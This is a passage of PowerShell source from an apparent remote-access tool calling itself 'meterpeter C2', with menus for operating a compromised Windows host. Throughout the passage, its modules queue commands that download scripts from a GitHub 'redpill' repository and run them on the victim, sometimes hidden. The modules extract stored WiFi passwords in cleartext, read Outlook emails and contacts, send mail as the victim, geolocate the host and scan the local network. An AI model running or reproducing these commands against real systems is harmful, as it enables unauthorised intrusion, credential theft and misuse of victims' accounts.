write-host " Opens the default WebBrowser in sellected easter egg";
write-host " Or opens a new Tab if the browser its allready open.";
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------"
write-host " gravity Open Google-Gravity UserLand";
write-host " sphere Open Google-Sphere UserLand";
write-host " rotate Rotate webpage 360º UserLand";
write-host " mirror Open Google-Mirror UserLand";
write-host " teapot Open Google-teapot UserLand";
write-host " invaders Open Invaders-Game UserLand";
write-host " pacman Open Pacman-Game UserLand";
write-host " rush Open Google-Zerg-Rush UserLand";
write-host " moon Open Google-Moon UserLand";
write-host " terminal Open Google-terminal UserLand";
write-host " trexgame Open Google-tRexgame UserLand";
write-host " googlespace Open google-space UserLand";
write-host " kidscoding Open Google-kidscoding UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Pranks:GoogleX> " -NoNewline -ForeGroundColor Green;
$EasterEgg = Read-Host;
If($EasterEgg -ieq "terminal")
{
write-host "`n";
$cmdline = "https://elgoog.im/terminal"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "trexgame")
{
write-host "`n";
$cmdline = "https://elgoog.im/t-rex"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "kidscoding")
{
write-host "`n";
$cmdline = "https://www.google.com/logos/2017/logo17/logo17.html"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "googlespace")
{
write-host "`n";
$cmdline = "https://mrdoob.com/projects/chromeexperiments/google-space/"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "teapot")
{
write-host "`n";
$cmdline = "https://www.google.com/teapot"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "sphere")
{
write-host "`n";
$cmdline = "https://mrdoob.com/projects/chromeexperiments/google-sphere"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "gravity")
{
write-host "`n";
$cmdline = "https://mrdoob.com/projects/chromeexperiments/google-gravity"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "rotate")
{
write-host " - Execute it how many times? : " -NoNewline;
$LoopRange = Read-Host;
If(-not($LoopRange) -or $LoopRange -eq $null)
{
$LoopRange = "1"
}
If($LoopRange -gt 1)
{
write-host " - Secs before the next loop? : " -NoNewline;
$LoopDelay = Read-Host;
If(-not($LoopDelay) -or $LoopDelay -eq $null)
{
$LoopDelay = "20"
}
}
Else
{
$LoopDelay = "5"
}
write-host "`n";
$cmdline = "https://www.google.com/search?q=do+a+barrel+roll"
$Command = "cd `$Env:TMP;iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Misc-CmdLets/Prank2.ps1`" -OutFile `"`$Env:TMP\Prank2.ps1`"|Unblock-File;Start-Process -WindowStyle Hidden powershell -ArgumentList `"powershell -File `$Env:TMP\Prank2.ps1 -StartDelay '3' -LoopRange $LoopRange -LoopDelay $LoopDelay`";echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "rush")
{
write-host "`n";
$cmdline = "https://elgoog.im/zergrush/"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "moon")
{
write-host "`n";
$cmdline = "https://www.google.com/moon/"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "mirror")
{
write-host "`n";
$cmdline = "https://elgoog.im/google-mirror/"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "pacman")
{
write-host "`n";
$cmdline = "https://elgoog.im/pacman/"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "invaders")
{
write-host "`n";
$cmdline = "https://elgoog.im/space-invaders/"
$Command = "cmd /R start /max $cmdline;echo `" `> Open: '$cmdline'`" `> prank.txt;Get-content prank.txt;Remove-Item prank.txt -Force";
}
If($EasterEgg -ieq "Return" -or $EasterEgg -ieq "cls" -or $EasterEgg -ieq "Modules" -or $EasterEgg -ieq "clear")
{
$choise = $Null;
$Command = $Null;
}
$EasterEgg = $Null;
}
If($choise -ieq "return" -or $choise -ieq "cls" -or $choise -ieq "modules")
{
$Command = $Null;
}
$choise = $Null;
$Clear = $True;
}
If($Command -iMatch '^(Net|NetScanner)$')
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Remote network manager";
write-host "`n`n Modules Description" -ForegroundColor green;
write-host " ------- -----------";
write-host " ListDNS List remote host Domain Name entrys";
write-host " TCPinfo List remote host TCP\UDP connections";
write-host " ListWifi List remote host Profiles/SSID/Passwords";
write-host " PingScan List devices ip addr\ports\dnsnames on Lan";
write-host " GeoLocate List Client GeoLocation curl \ ifconfig.me";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Net> " -NoNewline -ForeGroundColor Green;
$choise = Read-Host;
If($choise -ieq "ListDNS" -or $choise -ieq "dns")
{
write-host " * Remote host DNS entrys.`n" -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "Get-DnsClientCache|Select-Object Entry,Name,DataLength,Data|Format-Table -AutoSize > dns.txt;`$TestData = Get-Content dns.txt;If([string]::IsNullOrEmpty(`$TestData)){echo `" `> None remote DNS cache entrys found!`" `> dns.txt};Get-Content dns.txt;remove-item dns.txt -Force";
}
If($choise -ieq "TCPinfo" -or $choise -ieq "TCP")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " This module enumerate ESTABLISHED TCP\UDP connections"
write-host " DNS Address Ip address, Hotnames and TCP Routing Table"
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " Stats Query IPv4 Statistics UserLand";
write-host " Query Established TCP connections UserLand";
write-host " Verbose Query TCP\UDP\DNS\ARP cache UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Net:Tcp> " -NoNewline -ForeGroundColor Green;
$ConManager_choise = Read-Host;
If($ConManager_choise -ieq "Stats")
{
write-host " * Enumerating TCP statatistiscs." -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetConnections.ps1`" -OutFile `"`$Env:TMP\GetConnections.ps1`"|Out-Null;powershell -W 1 -file `$Env:TMP\GetConnections.ps1 -Action Stats;Start-Sleep -Seconds 1;Remove-Item -Path `$Env:TMP\GetConnections.ps1 -Force"
}
If($ConManager_choise -ieq "Query")
{
write-host " * Established TCP connections.`n" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetConnections.ps1`" -OutFile `"`$Env:TMP\GetConnections.ps1`"|Out-Null;powershell -W 1 -file `$Env:TMP\GetConnections.ps1 -Action Enum;Start-Sleep -Seconds 1;Remove-Item -Path `$Env:TMP\GetConnections.ps1 -Force"
}
If($ConManager_choise -ieq "Verbose")
{
write-host " * Established TCP\UDP connections.`n" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetConnections.ps1`" -OutFile `"`$Env:TMP\GetConnections.ps1`"|Out-Null;powershell -W 1 -file `$Env:TMP\GetConnections.ps1 -Action Verbose;Start-Sleep -Seconds 1;Remove-Item -Path `$Env:TMP\GetConnections.ps1 -Force"
}
If($ConManager_choise -ieq "Return" -or $ConManager_choise -ieq "cls" -or $ConManager_choise -ieq "Modules" -or $ConManager_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$ConManager_choise = $Null;
}
}
If($choise -ieq "ListWifi" -or $choise -ieq "wifi")
{
write-host "`n`n Remark:" -ForegroundColor Yellow
write-host " Use single quotes if profile contains empty spaces."
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " ListProf Remote-Host wifi Profile UserLand";
write-host " ListNetw List wifi Available networks UserLand";
write-host " ListSSID List Remote-Host SSID Entrys UserLand";
write-host " SSIDPass Extract Stored SSID passwords UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Net:Wifi> " -NoNewline -ForeGroundColor Green;
$wifi_choise = Read-Host;
If($wifi_choise -ieq "ListProf" -or $wifi_choise -ieq "prof")
{
write-host " * Remote-Host Profile Statistics." -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "cmd /R Netsh WLAN show interface `> pro.txt;`$check_tasks = Get-content pro.txt;If(-not (`$check_tasks)){echo `" [i] meterpeter Failed to retrieve wifi profile ..`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force;Remove-Item pro.txt -Force}else{Get-Content pro.txt;Remove-Item pro.txt -Force}";
}
If($wifi_choise -ieq "ListNetw" -or $wifi_choise -ieq "netw")
{
write-host " * List Available wifi Networks." -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "cmd /R Netsh wlan show networks `> pro.txt;`$check_tasks = Get-content pro.txt;If(-not (`$check_tasks)){echo `" [i] None networks list found in: $Remote_Host`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force;Remove-Item pro.txt -Force}else{Get-Content pro.txt;Remove-Item pro.txt -Force}";
}
If($wifi_choise -ieq "ListSSID" -or $wifi_choise -ieq "ssid")
{
write-host " * List of Remote-Host SSID profiles." -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "cmd /R Netsh WLAN show profiles `> ssid.txt;`$check_tasks = Get-content ssid.txt;If(-not (`$check_tasks)){echo `" [i] None SSID profile found in: $Remote_Host`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force;Remove-Item ssid.txt -Force}else{Get-Content ssid.txt;Remove-Item ssid.txt -Force}";
}
If($wifi_choise -ieq "SSIDPass" -or $wifi_choise -ieq "pass")
{
write-host " - Sellect WIFI Profile: " -ForegroundColor Red -NoNewline;
$profile = Read-Host;
If(-not ($profile) -or $profile -eq " ")
{
write-host " => Error: None Profile Name provided .." -ForegroundColor red -BackGroundColor white;
write-host " => Usage: meterpeter> AdvInfo -> WifiPass -> ListSSID (to List Profiles)." -ForegroundColor red -BackGroundColor white;write-host "`n`n";
Start-Sleep -Seconds 4;
$Command = $Null;
$profile = $Null;
}else{
write-host " * Extracting SSID Password." -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "cmd /R netsh wlan show profile $profile Key=Clear `> key.txt;Get-Content key.txt;Remove-Item key.txt -Force"
}
$profile = $Null;
}
If($wifi_choise -ieq "Return" -or $wifi_choise -ieq "return" -or $wifi_choise -ieq "cls" -or $wifi_choise -ieq "Modules" -or $wifi_choise -ieq "modules" -or $wifi_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
}
$choise = $Null;
$wifi_choise = $Null;
}
If($choise -ieq "PingScan" -or $choise -ieq "Ping")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Module to scan local lan for active ip addreses";
write-host " or open ports if sellected the 'portscan' module.";
write-host " Remark: maxports portscan takes aprox 4 minutes." -ForeGroundColor yellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Enum List active ip addresses on local Lan UserLand";
write-host " PortScan Single ip port scanner \ dns resolver UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Net:Ping> " -NoNewline -ForeGroundColor Green;
$ping_choise = Read-Host;
If($ping_choise -ieq "Enum")
{
Write-Host " - Ip addr range to scan (1,255): " -ForegroundColor Red -NoNewline
$IpRange = Read-Host;
If($IpRange -eq $null -or $IpRange -NotMatch ',')
{
$TimeOut = "300"
$IpRange = "1,255"
Write-Host " => Error: wrong iprange, set demo to '$IpRange' .." -ForegroundColor Red
Write-Host " * Remark: full scan takes aprox 2 minutes to finish." -ForegroundColor Yellow
}
Else
{
$TimeOut = "300" #Faster discovery mode
}
#Execute command remotely
Write-Host " * Scanning Lan for active devices!" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/PingSweep.ps1`" -OutFile `"`$Env:TMP\PingSweep.ps1`"|Out-Null;powershell -File `$Env:TMP\PingSweep.ps1 -Action Enum -IpRange `"$IpRange`" -TimeOut `"$TimeOut`" -Egg True;Remove-Item -Path `$Env:TMP\PingSweep.ps1 -Force"
}
If($ping_choise -ieq "PortScan")
{
Write-Host " - Input ip address to scan ($Local_Host) : " -ForegroundColor Red -NoNewline
$IpRange = Read-Host;
If($IpRange -NotMatch '^(\d+\d+\d+)\.(\d+\d+\d+).')
{
$IpRange = "$Local_Host"
Write-Host " => Error: wrong iprange, set demo to '$IpRange' .." -ForegroundColor Red
}
Write-Host " - Set scantype (bullet|topports|maxports) : " -NoNewline
$ScanType = Read-Host;
If($ScanType -iNotMatch '^(bullet|TopPorts|MaxPorts)$')
{
$ScanType = "topports"
Write-Host " => Error: wrong scantype, set demo to '$ScanType' .." -ForegroundColor Red
}
#Execute command remotely
Write-Host " * Scanning '" -ForegroundColor Green -NoNewline
Write-Host "$IpRange" -ForegroundColor Red -NoNewline
Write-Host "' ports\services!" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/PingSweep.ps1`" -OutFile `"`$Env:TMP\PingSweep.ps1`"|Out-Null;powershell -File `$Env:TMP\PingSweep.ps1 -Action PortScan -IpRange `"$IpRange`" -ScanType $ScanType -OutPut verbose -Egg True;Remove-Item -Path `$Env:TMP\PingSweep.ps1 -Force"
}
If($ping_choise -ieq "Return" -or $ping_choise -ieq "cls" -or $ping_choise -ieq "Modules")
{
$ping_choise = $null
$Command = $Null;
}
}
If($choise -ieq "GeoLocate" -or $choise -ieq "GEO")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Geo locate remote host and resolve public ip addr";
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " GeoLocate Client GeoLocation using curl UserLand";
write-host " ifconfig Client GeoLocation using ipinfo UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Net:Geo> " -NoNewline -ForeGroundColor Green;
$Geo_choise = Read-Host;
If($Geo_choise -ieq "GeoLocate")
{
Write-Host " - Resolve public ip addr? (y|n): " -NoNewline;
$PublicIpSettings = Read-Host;
If($PublicIpSettings -iMatch '^(y|yes)$')
{
#Execute command remotely
Write-Host " * Scanning remote host geo location!" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GeoLocation.ps1`" -OutFile `"`$Env:TMP\GeoLocation.ps1`"|Out-Null;powershell -File `$Env:TMP\GeoLocation.ps1 -HiddeMyAss false;Remove-Item -Path `$Env:TMP\GeoLocation.ps1 -Force"
}
Else
{
#Execute command remotely
Write-Host " * Scanning remote host geo location!" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GeoLocation.ps1`" -OutFile `"`$Env:TMP\GeoLocation.ps1`"|Out-Null;powershell -File `$Env:TMP\GeoLocation.ps1 -HiddeMyAss true;Remove-Item -Path `$Env:TMP\GeoLocation.ps1 -Force"
}
}
If($Geo_choise -ieq "ifconfig")
{
Write-Host " - Resolve public ip addr? (y|n) : " -NoNewline;
$PublicIpSettings = Read-Host;
Write-Host " - Display verbose outputs? (y|n): " -NoNewline;
$Verboseme = Read-Host;
If($Verboseme -iMatch '^(y|yes)$')
{
$Verboseme = "true"
}
Else
{
$Verboseme = "false"
}
If($PublicIpSettings -iMatch '^(y|yes)$')
{
#Execute command remotely
Write-Host " * Scanning remote host geo location!" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Exfiltration/Get-ComputerGeoLocation.ps1`" -OutFile `"`$Env:TMP\Get-ComputerGeoLocation.ps1`";powershell -File `$Env:TMP\Get-ComputerGeoLocation.ps1 -Api 'ifconfig' -Detail $Verboseme -PublicAddr false;Remove-Item -Path `$Env:TMP\Get-ComputerGeoLocation.ps1 -Force"
}
Else
{
#Execute command remotely
Write-Host " * Scanning remote host geo location!" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Exfiltration/Get-ComputerGeoLocation.ps1`" -OutFile `"`$Env:TMP\Get-ComputerGeoLocation.ps1`";powershell -File `$Env:TMP\Get-ComputerGeoLocation.ps1 -Api 'ifconfig' -Detail $Verboseme -PublicAddr true;Remove-Item -Path `$Env:TMP\Get-ComputerGeoLocation.ps1 -Force"
}
}
If($Geo_choise -ieq "Return" -or $Geo_choise -ieq "cls" -or $Geo_choise -ieq "Modules")
{
$Geo_choise = $null
$Command = $Null;
}
}
If($choise -ieq "return" -or $choise -ieq "cls" -or $choise -ieq "modules")
{
$Command = $Null;
}
}
If($Command -ieq "AdvInfo" -or $Command -ieq "adv")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Advanced info manager";
write-host "`n`n Modules Description" -ForegroundColor green;
write-host " ------- -----------";
write-host " Accounts List remote host accounts";
write-host " RevS`hell List client shell information";
write-host " ListAppl List remote host installed appl";
write-host " Processes List remote host processes info";
write-host " Tasks List remote host schedule tasks";
write-host " Drives List remote host mounted drives";
write-host " Browser List remote host installed browsers";
write-host " Recent List remote host recent directory";
write-host " ListSMB List remote host SMB names\shares";
write-host " StartUp List remote host startUp directory";
write-host " ListRun List remote host startup run entrys";
write-host " AntiVirus Enumerate all EDR Products installed";
write-host " FRManager Manage remote 'active' firewall rules";
write-host " OutLook Manage OutLook Exchange Email Objects";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Adv> " -NoNewline -ForeGroundColor Green;
$choise = Read-Host;
## Runing sellected Module(s).
If($choise -ieq "OutLook")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Module to enumerate OutLook Exchange Emails, Read is contents";
write-host " on terminal console or dump found Email Objects to a logfile.";
write-host " If invoked -SemdMail then target address will be used as Sender." -ForegroundColor Yellow;
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Folders Display outlook folder names UserLand";
write-host " Contacts Display outlook contacts info UserLand";
write-host " Emails Display outlook email objects UserLand";
write-host " SendMail Send Email using target domain UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Adv:OutLook> " -NoNewline -ForeGroundColor Green;
$OutLook_choise = Read-Host;
If($OutLook_choise -ieq "Folders")
{
#Execute command remotely
Write-Host " * Scanning OutLook for folder names!" -ForegroundColor Green
$Command = "If((Get-MpComputerStatus).RealTimeProtectionEnabled -ieq `"True`"){iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/ReadEmails.ps1`" -OutFile `"`$Env:TMP\ReadEmails.ps1`"|Out-Null;powershell -File `$Env:TMP\ReadEmails.ps1 -action 'folders' -Egg `"True`";Remove-Item -Path `$Env:TMP\ReadEmails.ps1 -Force}Else{echo '';echo `" `> Error: Outlook does not let us manipulate it if 'RealTimeProtection' its disable`" `> `$Env:TMP\fsddsvd.log;Get-Content -Path `"`$Env:TMP\fsddsvd.log`";Remove-Item -Path `"`$Env:TMP\fsddsvd.log`" -Force}";
}
If($OutLook_choise -ieq "Contacts")
{
Write-Host " - Max outlook items to display: " -NoNewline;
$MaxOfObjectsToDisplay = Read-Host;
If(-not($MaxOfObjectsToDisplay) -or $MaxOfObjectsToDisplay -ieq $null)
{
$MaxOfObjectsToDisplay = "5" #Default cmdlet parameter
}
Write-Host " - Create report logfile? (y|n): " -NoNewline;
$CreateLogFileSetting = Read-Host;
If($CreateLogFileSetting -iMatch '^(y|yes)$')
{
$CreateLogFileSetting = "True"
}
Else
{
$CreateLogFileSetting = "False"
}
#Execute command remotely
Write-Host " * Scanning OutLook for Contact Objects" -ForegroundColor Green
$Command = "If((Get-MpComputerStatus).RealTimeProtectionEnabled -ieq `"True`"){iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/ReadEmails.ps1`" -OutFile `"`$Env:TMP\ReadEmails.ps1`"|Out-Null;powershell -File `$Env:TMP\ReadEmails.ps1 -action 'contacts' -maxitems '$MaxOfObjectsToDisplay' -logfile `"$CreateLogFileSetting`" -Egg `"True`";Remove-Item -Path `$Env:TMP\ReadEmails.ps1 -Force}Else{echo '';echo `" `> Error: Outlook does not let us manipulate it if 'RealTimeProtection' its disable`" `> `$Env:TMP\fsddsvd.log;Get-Content -Path `"`$Env:TMP\fsddsvd.log`";Remove-Item -Path `"`$Env:TMP\fsddsvd.log`" -Force}"
}
If($OutLook_choise -ieq "Emails")
{
Write-Host " - Max outlook items to display: " -NoNewline;
$MaxOfObjectsToDisplay = Read-Host;
If(-not($MaxOfObjectsToDisplay) -or $MaxOfObjectsToDisplay -ieq $null)
{
$MaxOfObjectsToDisplay = "5" #Default cmdlet parameter
}
Write-Host " - Display message (y|n): " -NoNewline;
$UseVerbose = Read-Host;
If($UseVerbose -iMatch '^(y|yes)$')
{
$UseVerbose = "True"
}
Else
{
$UseVerbose = "False"
}
Write-Host " - Create report logfile? (y|n): " -NoNewline;
$CreateLogFileSetting = Read-Host;
If($CreateLogFileSetting -iMatch '^(y|yes)$')
{
$CreateLogFileSetting = "True"
}
Else
{
$CreateLogFileSetting = "False"
}
#Execute command remotely
Write-Host " * Scanning OutLook for Email Objects" -ForegroundColor Green
$Command = "If((Get-MpComputerStatus).RealTimeProtectionEnabled -ieq `"True`"){iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/ReadEmails.ps1`" -OutFile `"`$Env:TMP\ReadEmails.ps1`"|Out-Null;powershell -File `$Env:TMP\ReadEmails.ps1 -action 'enum' -MaxItems `"$MaxOfObjectsToDisplay`" -logfile `"$CreateLogFileSetting`" -verb `"$UseVerbose`" -Egg `"True`";Remove-Item -Path `$Env:TMP\ReadEmails.ps1 -Force}Else{echo '';echo `" `> Error: Outlook does not let us manipulate it if 'RealTimeProtection' its disable`" `> `$Env:TMP\fsddsvd.log;Get-Content -Path `"`$Env:TMP\fsddsvd.log`";Remove-Item -Path `"`$Env:TMP\fsddsvd.log`" -Force}"
}
If($OutLook_choise -ieq "SendMail")
{
#, ,
Write-Host " - Send To Email: " -ForegroundColor Red -NoNewline;
$SendTo = Read-Host;
If(-not($SendTo) -or $SendTo -ieq $null)
{
write-host "`n"
write-host " [Error] Module requires 'SendTo' address!" -ForegroundColor Red -BackgroundColor Black
write-host " [ inf ] SendTo: 'pedroUbuntui@gmail.com'" -ForegroundColor DarkGray
$OutLook_choise = $null
$Command = $null
}
Else
{
Write-Host " - Email Subject: " -NoNewline;
$SendSubject = Read-Host;
If(-not($SendSubject) -or $SendSubject -ieq $null)
{
$SendSubject = "@Meterpeter C2 v2.10.11 Email"
}
Write-Host " - Email Body : " -NoNewline;
$SendBody = Read-Host;
If(-not($SendBody) -or $SendBody -ieq $null)
{
$SendBody = "Testing @Meterpeter C2 SendEmail funtion ..."
}
#Execute command remotely
Write-Host " * Send Email using '" -ForegroundColor Green -NoNewline
Write-Host "$Remote_Host" -ForegroundColor DarkYellow -NoNewline
Write-Host "' OutLook!" -ForegroundColor Green
$Command = "If((Get-MpComputerStatus).RealTimeProtectionEnabled -ieq `"True`"){iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/ReadEmails.ps1`" -OutFile `"`$Env:TMP\ReadEmails.ps1`"|Unblock-File;powershell -File `$Env:TMP\ReadEmails.ps1 -action 'send' -SendTo '$SendTo' -SendSubject '$SendSubject' -SendBody '$SendBody' -Egg `"True`";Remove-Item -Path `$Env:TMP\ReadEmails.ps1 -Force}Else{echo '';echo `" `> Error: Outlook does not let us manipulate it if 'RealTimeProtection' its disable`" `> `$Env:TMP\fsddsvd.log;Get-Content -Path `"`$Env:TMP\fsddsvd.log`";Remove-Item -Path `"`$Env:TMP\fsddsvd.log`" -Force}"
}
}
If($OutLook_choise -ieq "Return" -or $OutLook_choise -ieq "cls" -or $OutLook_choise -ieq "Modules")
{
$OutLook_choise = $null
$Command = $Null;
}
}
If($choise -ieq "Accounts" -or $choise -ieq "acc")
{
write-host " * Listing remote accounts." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "";
$Command = "Get-WmiObject Win32_UserAccount -filter 'LocalAccount=True'| Select-Object Name,SID,PasswordRequired,PasswordChangeable|Format-Table -AutoSize|Out-File users.txt;Start-Sleep -Seconds 1;`$Out = Get-Content users.txt|Select -Skip 1|Select -SkipLast 2;If(-not(`$Out)){echo `" `> Error: cmdlet cant retrive remote host accounts ..`"}Else{echo `$Out};Remove-Item -Path users.txt -Force"
}
If($choise -ieq "RevShell" -or $choise -ieq "Shell")
{
write-host " * Enumerating shell privileges." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "";
$Command = "echo `" Client ppid : `$pid `" `> Priv.txt;`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){echo `" Client priv : *ADMINISTRATOR*`" `>`> Priv.txt}Else{echo `" Client priv : USERLAND`" `>`> Priv.txt};`$Manufacturer = (Get-WmiObject Win32_OperatingSystem).Caption;echo `" Client OS : `$Manufacturer`" `>`> Priv.txt;`$ClientShell = (Get-location).Path;echo `" Client path : `$ClientShell`" `>`> Priv.txt;Get-Content Priv.txt;Remove-Item Priv.txt -Force"
}
If($choise -ieq "ListAppl" -or $choise -ieq "appl")
{
write-host " * List applications installed." -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName,DisplayVersion | Format-Table -AutoSize";
}
If($choise -ieq "Processes" -or $choise -ieq "proc")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Manage remote processes";
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Check List Remote Processe(s) Running UserLand";
write-host " Query Process name verbose information UserLand";
write-host " DllSearch List DLLs loaded by processes UserLand";
write-host " Kill Kill Remote Process From Running " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Adv:Proc> " -NoNewline -ForeGroundColor Green;
$wifi_choise = Read-Host;
If($wifi_choise -ieq "Query")
{
Write-Host " - Query process name: " -NoNewline -ForeGroundColor Red;
$Proc_name = Read-Host;
If(-not ($proc_name) -or $Proc_name -ieq " ")
{
write-host "`n`n Error: We need to provide a process name ..`n" -ForegroundColor Red
$Command = $Null;
$Proc_name = $Null;
}
Else
{
$Command = "`$ProcessId = (Get-Process -Name `"$Proc_name`").Id;iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/GetProcess.ps1`" -OutFile `"`$Env:TMP\GetProcess.ps1`"|Unblock-File;iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/Get-TokenPrivs.ps1`" -OutFile `"`$Env:TMP\Get-TokenPrivs.ps1`"|Unblock-File;powershell -File `"`$Env:TMP\GetProcess.ps1`" -GetProcess Enum -ProcessName `"$Proc_name`" -verb true -exclude 'false';powershell -File `"`$Env:TMP\Get-TokenPrivs.ps1`" -ProcID `$ProcessId;Remove-Item -Path `$Env:TMP\Get-TokenPrivs.ps1 -Force;Remove-Item -Path `$Env:TMP\GetProcess.ps1 -Force";
}
}
If($wifi_choise -ieq "DllSearch")
{
write-host " * List DLL's loaded by processes.`n" -ForegroundColor Green
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bin/DLLSearch.ps1`" -OutFile `"`$Env:TMP\DLLSearch.ps1`"|Unblock-File;powershell -File `"`$Env:TMP\DLLSearch.ps1`" -filter 'all';Remove-Item -Path `$Env:TMP\DLLSearch.ps1 -Force";
}
If($wifi_choise -ieq "Check")
{
write-host " * List remote processe(s) running." -ForegroundColor Green
write-host " => Exclude: wlanext|svchost|RuntimeBroker`n" -ForegroundColor Yellow
Start-Sleep -Seconds 1
